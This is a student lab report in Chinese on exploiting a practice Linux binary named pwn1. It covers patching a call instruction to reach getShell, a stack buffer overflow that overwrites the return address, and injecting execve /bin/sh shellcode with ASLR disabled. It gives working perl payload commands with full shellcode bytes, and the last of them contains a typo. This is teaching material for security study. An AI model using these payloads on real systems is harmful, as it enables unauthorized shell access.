Exp1 PC平台逆向破解 20165235 祁瑛

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。
三个实践内容如下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

基础知识

NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
JNE：条件转移指令，如果不相等则跳转。
JE：条件转移指令，如果相等则跳转。
JMP：无条件转移指令。段内直接短转Jmp short段内直接近转移Jmp near段内间接转移Jmp word（段间直接(远)转移Jmp far
CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

直接修改程序机器指令

创建学号文件夹：

使用 objdump -d pwn20165235_1将pwn20165235_1反汇编，得到以下代码：

80484b5: e8 d7 ff ff ff call 8048491 <foo>这条汇编指令，e8表示“call”，在main函数中调用位于地址8048491处的foo函数。如果想函数调用getShell，只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量，我们计算出应该改为c3 ff ff ff。
具体步骤如下：

vi pwn20165235_1进入命令模式
输入:%!xxd将显示模式切换为十六进制
在底行模式输入/e8d7定位需要修改的地方，并确认
进入插入模式，修改d7为c3
输入:%!xxd -r将十六进制转换为原格式
使用:wq保存并退出

运行修改后的代码：

通过构造输入参数，造成BOF攻击

使用gdb进行调试，当输入为以下字符时发生段错误，产生溢出：

查看寄存器里面的数据(eip的值为ASCII的5，即在输入字符串的“5”的部分发生溢出)：

输入字符串1111111122222222333333334444444455555555，5555会覆盖到堆栈上的返回地址，CPU会这个代码。只要把这四个字符替换为 getShell 的内存地址，输给pwn20165235_2，pwn1就会运行getShell。(由反汇编结果可知getShell的内存地址为：0804847d)。

使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令构造文件。然后使用指令(cat input ) | ./pwn20165235_2 运行程序：

注入Shellcode并执行

首先使用apt-get install execstack命令安装execstack。
输入图上所示的指令，关闭地址随机化：

在shellcode前填充nop的机器码90，最前面加上加上返回地址（先定义为\x4\x3\x2\x1）：

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
我们还不知到在\x4\x3\x2\x1充填什么数据，接下来的操作会找出这块数据：
首先在一个shell上运行pwn20165235_3（(cat input ) | ./pwn20165235_3）.然后再打开另一个shell，使用指令：ps ef | grep pwn20165235_3,查看运行中的pwn20165235所占用的端口号
查看完端口号在这个shell下打开gdb调试：

设置断点，来查看注入buf的内存地址，使用break *0x080484ae设置断点，查看并输入c继续运行。打开运行pwn20165235_3的shell，按下回车，返回调试gdb的shell界面。使用info r esp查找地址。

使用x/16x 0xffffd35c查看其存放内容，看到了01020304，就是返回地址的位置。

根据我们构造的input_shellcode可知，shellcode就在其后，所以地址是 0xffffd35c + 0x4=0xffffd360。接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可：

perl -e 'print "A" x 32;printt"\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再执行程序，攻击成功：

实验中遇到的问题,思考

遇到的问题：

在运行第三个实验时出现段错误：

解决方法：在计算shellcode的地址时计算出错（加0x4计算失误）。

思考题

什么是漏洞？漏洞有什么危害？
我认为漏洞的种类有很多，一些事是在程序设计时的逻辑漏洞，比如缓冲区溢出，由于没有考虑到输入超出栈分配的空间的情况，被攻击者利用。还有一些漏洞是由于硬件的原因或者是协议的原因。还有一些漏洞可能是人为的，比如一些后门。他人可以利用这些漏洞未授权的访问计算机，任意的对文件进行操作或者是读取。

实验感受
通过本次的实验，掌握了反汇编以及机器指令的修改。其实在课堂上并没有掌握这些知识，只是知道大概怎么做而已。经过自己不断地实践操作，借鉴学长学学姐的实验指导，对缓冲区溢出攻击，堆栈是如何被恶意代码覆盖的有了足够的掌握。